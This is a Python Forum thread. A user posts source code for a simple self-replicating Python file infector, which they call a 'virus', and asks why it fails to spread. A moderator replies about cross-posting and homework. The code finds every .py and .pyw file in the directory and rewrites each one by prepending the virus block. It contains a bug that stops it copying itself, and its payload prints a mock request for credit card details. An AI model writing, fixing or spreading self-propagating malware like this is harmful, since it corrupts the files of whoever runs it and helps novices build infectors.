Python Forum
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
a bit of help required
#1
Hello i have coded this :
### start of virus ###

import sys, glob

code=[]
with open(sys.argv[0], 'r') as f:
    lines= f.readlines()

virus_area=False
for line in lines:
    if line =='### start of virus ###\n':
        virus_area=False
    if virus_area:
        code.append(line)
    if line =='### end of virus ###\n':
        break

python_scripts=glob.glob('*.py') + glob.glob('*.pyw')

for script in python_scripts:
    with open(script,'r') as f:
        script_code=f.readlines()

    infected=False
    for line in script_code:
        if line=='### start of virus ###\n':
            infected=True
            break

    if not infected:
        final_code=[]
        final_code.extend(code)
        final_code.extend('\n')
        final_code.extend(script_code)

        with open(script,'w') as f:
            f.writelines(final_code)

#malicious piece of code (payload)
print("Hello,I am a poorman's virus so please send your credit card info since I can't do anything else but replicate and say this",)

### end of virus ###
its suppose to replicate but it dosn't and it just add lines to my other scripts
Reply
#2
Similar question to this one was posted on StackOverflow like 2 days ago and was closed.
If you have cross-posted elsewhere you should let us know.
Also, if it was not you and this is some sort of assignment it should be in Homework section.
If you can't explain it to a six year old, you don't understand it yourself, Albert Einstein
How to Ask Questions The Smart Way: link and another link
Create MCV example
Debug small programs

Reply
#3
(Nov-16-2020, 09:01 AM)buran Wrote: Similar question to this one was posted on StackOverflow like 2 days ago and was closed.
If you have cross-posted elsewhere you should let us know.
Also, if it was not you and this is some sort of assignment it should be in Homework section.

I didn't crossed posted it but i used the program he wrote wich was very similar and it worked so i guess case closed
Reply


Forum Jump:

User Panel Messages

Announcements
Announcement #1 8/1/2020
Announcement #2 8/2/2020
Announcement #3 8/6/2020